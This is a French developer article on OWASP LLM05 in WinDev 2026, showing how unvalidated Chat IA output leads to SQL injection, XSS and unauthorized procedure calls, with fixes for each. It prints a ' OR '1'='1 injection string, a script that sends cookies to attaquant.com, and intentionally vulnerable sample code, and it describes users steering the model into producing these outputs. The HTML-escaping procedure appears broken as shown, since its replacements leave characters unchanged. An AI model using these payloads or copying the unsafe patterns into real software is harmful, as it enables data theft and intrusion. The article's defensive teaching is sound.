WinDev 2026 Chat IA : OWASP LLM05 et sorties non validées

En résumé
- LLM05 désigne la confiance aveugle dans les sorties du Chat IA utilisées en aval, vecteur d'injection SQL, XSS et exécution de code.
- Trois points de contact concrets dans WinDev 2026 : requêtes HFSQL, zones HTML WebDev et dispatch de procédures dynamiques.
- Le remède : requêtes paramétrées HFSQL, échappement HTML systématique et liste blanche des opérations autorisées.
LLM05 est le risque de gestion incorrecte des sorties LLM, classé dans l’OWASP Top 10 LLM 2025. Dans WinDev 2026, trois vecteurs sont concrets : injection SQL si la sortie Chat IA alimente une requête HFSQL sans paramétrage, XSS si la sortie est rendue en HTML brut dans WebDev, exécution arbitraire si la sortie pilote un dispatch de procédures WLangage. Le remède n’est pas complexe, mais il doit être systématique.
Sur un projet WinDev 2026 récent, le client avait intégré le Chat IA pour permettre aux utilisateurs de filtrer leurs données de production par langage naturel. La réponse du modèle était concaténée dans une requête HFSQL pour affiner les résultats. Personne n’avait réfléchi à ce que se passerait si la réponse contenait ' OR '1'='1.
Ce n’est pas un scénario théorique. C’est exactement ce que documente OWASP LLM05.
Ce que fait LLM05 et pourquoi WinDev est directement concerné
LLM05 désigne la faille qui apparaît quand une application utilise la sortie d’un modèle de langage sans la valider, l’exposant à des injections dans les systèmes en aval.
Le modèle produit du texte. L’application décide quoi en faire. Si elle injecte ce texte sans contrôle dans un système aval, elle crée une surface d’attaque. Peu importe que le modèle soit hébergé en cloud ou en local sur votre infrastructure : une sortie LLM n’est pas une donnée fiable.
WinDev 2026 est directement concerné sur trois points :
- Le Chat IA produit du texte libre que les développeurs insèrent dans des requêtes HFSQL
- Dans un contexte WebDev, la sortie peut être rendue dans du HTML sans échappement
- Des architectures avancées utilisent la sortie IA pour piloter des appels de procédures dynamiques
Les articles sur la fuite de données sensibles via LLM02 et sur la protection contre les injections de prompts couvrent les risques en entrée et sur le contenu des réponses. LLM05, c’est le risque sur l’usage fait de ces réponses.
Vecteur 1 : injection SQL via sortie Chat IA dans une requête HFSQL
Insérer directement la sortie du Chat IA dans une requête HFSQL sans paramétrage ouvre un vecteur d’injection SQL classique, quelles que soient les garanties du modèle.
Exemple terrain : concaténation directe et conséquences
// dans : Après réception de la réponse
// Scénario à risque : concaténation directe de la sortie LLM
sCritereIA est une chaîne = iaElémentConversation.Texte
// Si le modèle répond : toto' OR '1'='1
sRequete est une chaîne = "SELECT * FROM Clients WHERE Nom = '" + sCritereIA + "'"
HExécuteRequêteSQL(MaConnexion, sRequete)
// Résultat : retourne TOUTE la table Clients
La sortie toto' OR '1'='1 transforme la requête en WHERE Nom = 'toto' OR '1'='1'. Toute la table est retournée. Ce comportement peut être déclenché par un utilisateur qui formule sa question de façon à orienter la réponse du modèle, ou simplement par une hallucination du LLM sur un cas limite.
C’est le scénario type d’une injection LLM indirecte : l’utilisateur ne touche pas la requête SQL, mais pilote le LLM qui génère un fragment exploitable.
Fix : requêtes paramétrées et liste blanche
La règle est simple : ne jamais concaténer une sortie LLM dans une chaîne SQL.
Pour les recherches simples, les requêtes paramétrées WinDev éliminent le vecteur au niveau du driver HFSQL :
// Approche sécurisée : paramètre nommé, WinDev gère l'échappement
rqsel_liste_client.pNomClient = sCritereIA
SI HExécuteRequête(rqsel_liste_client) ALORS
POUR TOUT rqsel_liste_client
...
FIN
FIN
Si la sortie est censée correspondre à une valeur parmi un ensemble connu, une liste blanche est plus solide encore :
// Liste blanche : seules ces valeurs sont acceptées
tasStatutsAutorisés est un tableau de chaine = ["actif", "inactif", "archivé", "suspendu"]
SI TableauCherche(tasStatutsAutorisés,sCritereIA) >= 1 ALORS
HLitRecherche(Clients, Statut, sCritereIA)
SINON
Erreur("Valeur de sortie LLM hors liste autorisée : " + sCritereIA)
// Logguer l'incident pour analyse
FIN
Dans tous les cas, il est préférable d’utiliser la puissance des requetes paramétrées de Windev plutôt que de tenter sa chance avec une fonction HExecuteRequeteSql…
Vecteur 2 : XSS dans WebDev si la sortie IA est rendue en HTML
Afficher la réponse du Chat IA via iaElémentConversation.Texte dans une zone WebDev sans échappement permet à un script injecté dans la sortie LLM de s’exécuter dans le navigateur de l’utilisateur.
Exemple : sortie non échappée dans une zone WebDev
// Dangereux : injection directe dans la propriété HTML de la zone
Champ_HTML = iaElémentConversation.Texte
// Si ValeurRetour contient : <script>document.location='https://attaquant.com?c='+document.cookie</script>
// Le script s'exécute dans le navigateur de l'utilisateur connecté
Ce scénario survient typiquement dans les portails WebDev où le Chat IA produit du contenu enrichi (mise en forme, liens). Le développeur utilise .Texte pour conserver la mise en forme, sans avoir pensé qu’un script peut s’y glisser.
Un LLM peut produire ce type de sortie par manipulation de l’utilisateur (prompt engineering) ou par hallucination sur un format attendu.
Fix : échappement systématique avant rendu
La règle de base : utiliser HTMLVersTexte pour afficher une sortie LLM, sauf si le rendu HTML est impératif et que le contenu a été validé.
// Sécurisé : texte brut, aucun HTML interprété
Champ_HTML = HTMLVersTexte(iaElémentConversation.Texte)
Si le rendu HTML est nécessaire (mise en forme légère, liens), échapper le contenu avant usage :
// Échappement manuel des caractères dangereux
PROCÉDURE EchapperHTML(sTexte est une chaîne) : chaîne
sEchappe est une chaîne = Remplace(sTexte, "&", "&")
sEchappe = Remplace(sEchappe, "<", "<")
sEchappe = Remplace(sEchappe, ">", ">")
sEchappe = Remplace(sEchappe, """", """)
sEchappe = Remplace(sEchappe, "'", "'")
RENVOYER sEchappe
Cette procédure bloque les vecteurs XSS les plus courants. Elle n’autorise aucune balise HTML dans la sortie, ce qui est la posture correcte pour du contenu LLM.
Vecteur 3 : exécution de code via sortie Chat IA dans des architectures avancées
Si la sortie du Chat IA pilote des appels de procédures ou des commandes dynamiques sans validation, n’importe quel utilisateur peut déclencher des opérations non autorisées en orientant le modèle.
Ce vecteur concerne les architectures où le Chat IA joue un rôle d’agent : l’utilisateur décrit une action en langage naturel, le modèle produit un nom d’opération ou une instruction, l’application exécute.
Exemple : dispatch de procédures piloté par le LLM
// Architecture à risque : le LLM génère un nom de procédure à appeler
sAction est une chaîne = iaElémentConversation.Texte
// Si le modèle répond : SupprimerTousLesClients ou ExporterBaseComplete
// et que ce nom est utilisé directement dans un dispatch dynamique
// toute procédure de l'application devient exécutable par l'utilisateur
Certaines architectures utilisent des tables de dispatch (tableaux associatifs nom-procédure) ou des plugins chargés dynamiquement. Si une sortie LLM alimente ce mécanisme sans validation, l’effet est identique.
Fix : liste blanche des opérations autorisées
La règle : le LLM ne commande jamais directement. Il propose un nom d’opération, l’application vérifie contre une liste connue, puis exécute.
// Liste blanche des opérations exposées au Chat IA
tasOperationsAutorisées est un tableau de chaine = [
"RechercherClient",
"AfficherCommande",
"GenererRapportVentes",
"FiltrerStock"
]
sAction est une chaîne = iaElémentConversation.Texte
nIndex est un entier = TableauCherche(tasOperationsAutorisées, sAction)
SI nIndex >= 1 ALORS
// Appel sécurisé : seule une opération de la liste est exécutée
SELON sAction
CAS "RechercherClient" : ProcRechercherClient()
CAS "AfficherCommande" : ProcAfficherCommande()
CAS "GenererRapportVentes" : ProcGenererRapportVentes()
CAS "FiltrerStock" : ProcFiltrerStock()
FIN
SINON
Erreur("Action LLM hors périmètre autorisé : " + sAction)
// Logguer avec contexte utilisateur pour détection d'abus
TraceAjouteLigne("SECURITE", "LLM05_action_refusee|" + sAction + "|" + NomUtilisateurConnecté())
FIN
Ce pattern garantit que même si un utilisateur manipule le modèle pour produire un nom d’opération dangereux, aucune opération hors liste ne sera déclenchée.
Pièges fréquents
“Mon modèle est en local, je suis protégé”
Symptôme : le développeur n’applique pas de filtrage parce que le modèle tourne sur son propre serveur, dans un réseau fermé.
Cause : confusion entre contrôle de l’infrastructure et confiance dans les sorties. Un modèle local peut produire une sortie malformée par hallucination, ou être orienté par un utilisateur qui forge un prompt volontairement.
Fix : valider les sorties indépendamment du périmètre d’hébergement. LLM05 ne dépend pas de qui héberge le modèle, mais de la façon dont l’application utilise ses réponses.
Absence de validation sur les sorties JSON structurées
Symptôme : la sortie JSON du Chat IA est désérialisée et utilisée directement sans validation de schéma.
Cause : les développeurs traitent le JSON comme une donnée fiable parce qu’il est structuré. Un LLM peut produire un JSON syntaxiquement valide mais sémantiquement dangereux (champs supplémentaires, valeurs hors périmètre, types incorrects).
Fix : valider le schéma avant usage. En WLangage, parser puis vérifier chaque champ attendu :
vJSON est un Variant = JSONVersVariant(iaElémentConversation.Texte)
// Valider le type et les valeurs du champ "action"
SI TypeVar(vJSON.action) <> typeChaîne ALORS
Erreur("Champ action absent ou type invalide dans la sortie LLM")
RETOUR
FIN
SI TableauCherche(tasOperationsAutorisées, vJSON.action) < 1 ALORS
Erreur("Valeur action hors liste : " + vJSON.action)
RETOUR
FIN
Ne jamais désérialiser et utiliser sans ce type de garde.
Logging des sorties brutes sans masquage
Symptôme : les sorties LLM sont loggées intégralement, y compris les fragments SQL ou scripts potentiellement injectés, et les données sensibles que le modèle aurait répétées.
Cause : le logging a été écrit avant l’intégration du Chat IA et n’a pas été adapté.
Fix : ne logger que les métadonnées de la transaction (longueur de la sortie, temps de réponse, code retour, identifiant de requête) et non le contenu brut. Si le contenu doit être loggué pour débogage, le masquer avec une regex avant écriture.
Ce que WinDev 2026 propose nativement et ce qu’il ne fait pas
Le composant Chat IA de WinDev 2026 gère la communication avec le LLM : authentification, envoi de prompt, réception de réponse. Il ne valide pas la sortie côté applicatif.
C’est cohérent : ce n’est pas son rôle. La validation des sorties est une responsabilité du développeur qui intègre le composant dans son application.
WinDev 2026 fournit les briques nécessaires : requêtes paramétrées HFSQL, fonctions de manipulation de chaînes WLangage, gestion des variantes et des types pour la désérialisation JSON. Aucune fonction dédiée au filtrage LLM n’existe nativement. C’est au développeur de les composer.
LLM05 complète le tableau de sécurité du Chat IA : LLM01 (injections de prompts en entrée), LLM02 (fuite de données dans les réponses) et LLM05 (usage non contrôlé des sorties en aval) forment trois couches distinctes à traiter ensemble sur une application WinDev 2026 qui intègre un modèle de langage.